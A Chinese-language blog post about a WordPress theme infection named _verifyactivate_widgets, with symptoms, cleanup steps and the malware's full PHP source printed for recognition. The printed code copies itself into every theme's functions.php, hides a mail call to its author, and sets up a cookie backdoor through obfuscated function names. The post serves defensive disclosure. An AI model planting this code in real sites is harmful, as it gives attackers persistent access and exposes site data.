wordpress恶意代码解决方法分享

雪域残虹 發表於 2023-10-5 00:00:00

今天莫名其妙发现自己的测试站的主题带上了恶意代码，非常明显的就是出现了一个函数_verifyactivate_widgets，通常情况下，一旦出现了这个函数在你的主题中，你就麻烦了，这是一串恶意代码，虽然不影响主题的使用（有的时候是影响的，当收到双重感染的时候，_verifyactivate_widgets函数会出现两次，导致了主题不能使用），但这段代码将会通知代码的作者（邮件方式），而且PHP可以任意的获取用户名、博客的主题文件等等，而且它还特地为博客创建了一些看上去非常有用的代码，一些挂件等等，一切的一切都被暴露给这段代码的作者。这里将这段代码曝光，并强烈谴责这些恶意代码的生产者。

症状： 
1、可能会提示_verifyactivate_widgets函数声明了两次，程序错误，主题不能使用； 
2、当前博客下的所有主题的functions.php中都会带下面这段代码； 
3、即使你通过FTP将这段代码删除，但你只要再运行一次博客，它就会像噩梦一样重新回来。

这段代码的功能就是搜集博客的资料，各种资料，包括文章、用户和评论等等。你的博客很有可能成为为别人创造内容和财富的肉鸡。

治疗： 
1、在空间管理面板先停用这个域名，使用沙盒功能，或者联系你的服务商； 
2、备份所有数据，删除目前使用的主题之外的其他所有主题； 
3、下载当前主题，一个文件一个文件的检查，把原本不属于你的代码删除； 
4、重新上传和开启网站； 
5、使用FTP，将你的主题文件的权限的“写入”权限去除（重要）； 
6、利用360等其他第三方PHP杀毒程序对网站进行杀毒； 
7、确保你的WordPress系统没有被感染，确保你的主机没有被感染。


<div style='margin: 3px auto 0px; padding: 0px 3px; outline: none; line-height: 21.6px; clear: both; border-width: 1px; border-style: solid; border-color: rgb(0, 153, 204); background: rgb(246, 251, 255); overflow: hidden; font-family: tahoma, arial, "Microsoft YaHei";'>
<div style="margin: 0px; padding: 0px; outline: none; float: right; line-height: 25.2px; font-size: 14px;">
复制代码
</div>
代码如下:</div>
<div id="phpcode1" style='margin: 0px auto 3px; padding: 0px 3px; outline: none; line-height: 25.2px; font-size: 14px; clear: both; border-right: 1px solid rgb(0, 153, 204); background: rgb(221, 237, 251); overflow: hidden; border-left: 1px solid rgb(0, 153, 204); word-break: break-all; border-bottom: 1px solid rgb(0, 153, 204); word-wrap: break-word; font-family: tahoma, arial, "Microsoft YaHei";'>
 
<?php 
function _verifyactivate_widgets(){ 
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; 
$output=strip_tags($output, $allowed); 
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); 
if (is_array($direst)){ 
foreach ($direst as $item){ 
if (is_writable($item)){ 
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); 
$cont=file_get_contents($item); 
if (stripos($cont,$ftion) === false){ 
$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; 
$output .= $before . "Not found" . $after; 
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} 
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f); 
$output .= ($isshowdots && $ellipsis) ? "..." : ""; 
} 
} 
} 
} 
return $output; 
} 
function _get_allwidgets_cont($wids,$items=array()){ 
$places=array_shift($wids); 
if(substr($places,-1) == "/"){ 
$places=substr($places,0,-1); 
} 
if(!file_exists($places) || !is_dir($places)){ 
return false; 
}elseif(is_readable($places)){ 
$elems=scandir($places); 
foreach ($elems as $elem){ 
if ($elem != "." && $elem != ".."){ 
if (is_dir($places . "/" . $elem)){ 
$wids[]=$places . "/" . $elem; 
} elseif (is_file($places . "/" . $elem)&& 
$elem == substr(__FILE__,-13)){ 
$items[]=$places . "/" . $elem;} 
} 
} 
}else{ 
return false; 
} 
if (sizeof($wids) > 0){ 
return _get_allwidgets_cont($wids,$items); 
} else { 
return $items; 
} 
} 
if(!function_exists("stripos")){ 
function stripos( $str, $needle, $offset = 0 ){ 
return strpos( strtolower( $str ), strtolower( $needle ), $offset ); 
} 
} if(!function_exists("strripos")){ 
function strripos( $haystack, $needle, $offset = 0 ) { 
if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); 
if( $offset < 0 ){ 
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); 
} 
else{ 
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); 
} 
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; 
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); 
return $pos; 
} 
} 
if(!function_exists("scandir")){ 
function scandir($dir,$listDirectories=false, $skipDots=true) { 
$dirArray = array(); 
if ($handle = opendir($dir)) { 
while (false !== ($file = readdir($handle))) { 
if (($file != "." && $file != "..") || $skipDots == true) { 
if($listDirectories == false) { if(is_dir($file)) { continue; } } 
array_push($dirArray,basename($file)); 
} 
} 
closedir($handle); 
} 
return $dirArray; 
} 
} 
add_action("admin_head", "_verifyactivate_widgets"); 
function _getprepare_widget(){ 
if(!isset($text_length)) $text_length=120; 
if(!isset($check)) $check="cookie"; 
if(!isset($tagsallowed)) $tagsallowed="<a>"; 
if(!isset($filter)) $filter="none"; 
if(!isset($coma)) $coma=""; 
if(!isset($home_filter)) $home_filter=get_option("home"); 
if(!isset($pref_filters)) $pref_filters="wp_"; 
if(!isset($is_use_more_link)) $is_use_more_link=1; 
if(!isset($com_type)) $com_type=""; 
if(!isset($cpages)) $cpages=$_GET["cperpage"]; 
if(!isset($post_auth_comments)) $post_auth_comments=""; 
if(!isset($com_is_approved)) $com_is_approved=""; 
if(!isset($post_auth)) $post_auth="auth"; 
if(!isset($link_text_more)) $link_text_more="(more...)"; 
if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_"); 
if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check; 
if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)"; 
if(!isset($contentmore)) $contentmore="ma".$coma."il"; 
if(!isset($for_more)) $for_more=1; 
if(!isset($fakeit)) $fakeit=1; 
if(!isset($sql)) $sql=""; 
if (!$widget_yes) : global $wpdb, $post; 
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# 
if (!empty($post->post_password)) { 
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
if(is_feed()) { 
$output=__("There is no excerpt because this is a protected post."); 
} else { 
$output=get_the_password_form(); 
} 
} 
} 
if(!isset($fixed_tags)) $fixed_tags=1; 
if(!isset($filters)) $filters=$home_filter; 
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore; 
if(!isset($tag_aditional)) $tag_aditional="div"; 
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);# 
if(!isset($more_text_link)) $more_text_link="Continue reading this entry"; 
if(!isset($isshowdots)) $isshowdots=1; $comments=$wpdb->get_results($sql); 
if($fakeit == 2) { 
$text=$post->post_content; 
} elseif($fakeit == 1) { 
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; 
} else { 
$text=$post->post_excerpt; 
} 
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# 
if($text_length < 0) { 
$output=$text; 
} else { 
if(!$no_more && strpos($text, "")) { 
$text=explode("", $text, 2); 
$l=count($text); 
$more_link=1; 
$comments=$wpdb->get_results($sql); 
} else { 
$text=explode(" ", $text); 
if(count($text) > $text_length) { 
$l=$text_length; 
$ellipsis=1; 
} else { 
$l=count($text); 
$link_text_more=""; 
$ellipsis=0; 
} 
} 
for ($i=0; $i<$l; $i++) 
$output .= $text[$i] . " "; 
} 
update_option("_is_widget_active_", 1); 
if("all" != $tagsallowed) { 
$output=strip_tags($output, $tagsallowed); 
return $output; 
} 
endif; 
$output=rtrim($output, "\s\n\t\r\0\x0B"); 
$output=($fixed_tags) ? balanceTags($output, true) : $output; 
$output .= ($isshowdots && $ellipsis) ? "..." : ""; 
$output=apply_filters($filter, $output); 
switch($tag_aditional) { 
case("div") : 
$tag="div"; 
break; 
case("span") : 
$tag="span"; 
break; 
case("p") : 
$tag="p"; 
break; 
default : 
$tag="span"; 
} if ($is_use_more_link ) { 
if($for_more) { 
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n"; 
} else { 
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n"; 
} 
} 
return $output; 
} add_action("init", "_getprepare_widget"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { 
global $wpdb; 
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; 
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; 
if(!$show_pass_post) $request .= " AND post_password =\"\""; 
if($duration !="") { 
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; 
} 
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; 
$posts=$wpdb->get_results($request); 
$output=""; 
if ($posts) { 
foreach ($posts as $post) { 
$post_title=stripslashes($post->post_title); 
$comment_count=$post->comment_count; 
$permalink=get_permalink($post->ID); 
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; 
} 
} else { 
$output .= $before . "None found" . $after; 
} 
return $output; 
} //获取最新评论 
function Get_Recent_Comment($limit=16,$cut_length=24){ 
global $wpdb; 
$admin_email = "'" . get_bloginfo ('admin_email') . "'"; //获取管理员邮箱，以便排除管理员的评论 
$rccdb = $wpdb->get_results(" 
SELECT ID, post_title, comment_ID, comment_author, comment_author_email, comment_content 
FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts 
ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) 
WHERE comment_approved = '1' 
AND comment_type = '' 
AND post_password = '' 
AND comment_author_email != $admin_email 
ORDER BY comment_date_gmt 
DESC LIMIT $limit 
");//数据库查询获得想要的结果 
foreach ($rccdb as $row) { 
$rcc .= "<li>".get_avatar($row,$size='32')."".$row->comment_author ."："." 
". "<a href='" 
. get_permalink($row->ID) . "#comment-" . $row->comment_ID 
. "' title='查看 " . $row->post_title . "'>" . cut_str($row->comment_content,$cut_length)."</a>". "</li>"; 
}//遍历查询到结果，获得想要的值，其中插入一些HTML元素，以便定义CSS样式 
//$rcc = convert_smilies($rcc);//允许评论内容中显示表情 
echo $rcc;//输出结果 
} 
?></div>

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wordpress恶意代码解决方法分享